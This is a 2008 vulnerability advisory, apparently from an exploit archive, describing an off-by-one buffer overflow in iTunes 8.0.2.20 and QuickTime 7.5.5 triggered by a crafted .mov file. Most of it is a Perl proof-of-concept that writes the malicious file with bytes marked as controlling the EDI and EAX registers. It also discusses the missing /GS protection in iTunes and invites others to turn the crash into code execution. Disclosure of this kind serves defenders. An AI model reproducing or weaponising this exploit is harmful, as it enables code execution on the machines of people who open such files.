itune-overflow.txt
Posted on 30 November 2008
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- Quicktime/Itunes Multiple Remote Off By One Overflow Application: Itunes 8.0.2.20/Quicktime 7.5.5 (249.26)(-> version 990.7) Web Site: www.apple.com/ Platform: Windows *, OS X * Bug: Off by one overflow Tested agains: Itunes 8.0.2.20/Quicktime 7.5.5 on XP SP3 fully patched ------------------------------------------------------- 1) Introduction 2) Bug 3) Proof of concept 4) Credits ================ 1) Introduction ================ "Many of today's leading authoring, multimedia and entertainment applications rely on QuickTime to do the heavy lifting. QuickTime contains a rich set of developer APIs for handling almost any audio, video and media task. Easily make your application multimedia-enabled with QuickTime." ======= 2) Bug ======= Quicktime & itunes fails to handle long arguments on a .mov file. Quicktime is compiled with the /GS cookie on , so the bug get handled with an exit code : c0000409 but ... Itunes doesn't seems to be compiled with the /GS flag, so we get some code execution possible via Itunes. The PoC give's us full control over EAX & EDI Itunes call unsafely the Quicktime function to play the .mov, so we can trigger a possible code execution via this unsafe call to quicktime héhéhé :) The only problem, is the lengh of the buffer overflowed :( erf ... 49 bytes, less the 8 bytes controlling the EDI & EAX registers so 41. i've tryed to find a way to fill some buffer in the .mov to get some code exec working on this poc, but out of luck, i guess someone will maybe be able to do some magic tricks :) ================== 3)Proof of concept ================== #!/usr/bin/perl use strict; my $movfile = "x00x00x00x7dx6dx6fx6fx76x00x00x00x75x72x6dx72x61x00x00x00x6d". "x72x6dx64x61x00x00x00x55x72x64x72x66x00x00x00x00x75x72x6cx20". "x00x00x00x41x68x74x74x70x3ax2fx2fx31x32x37x2ex30x2ex30x2ex31". "x2fx74x65x73x74x2ex6dx6fx76x00x00x00x00x10x72x6dx64x72x00x00". "x00x00x00x00x05x78". "x41x42x43x44". #EDI here "x61x62x63x64". #EAX here "x41x41x41x41x41x41". "x41x41x41x41x41x41x41x41x41x41x41x41x44x44x44x44x41x41x43x43". "x43x41x41x41x42x41x41x41x41x41x41x41x41x41x41"; open(out, "> test.mov"); binmode(out); print (out $movfile); close(out); //if you build this same payload , with a couple of bytes before theses null bytes you will trigger the same bug but in a different way ... ===== 5)Credits ===== laurent gaffié laurent.gaffie{remove_this}[at]gmail[dot]com
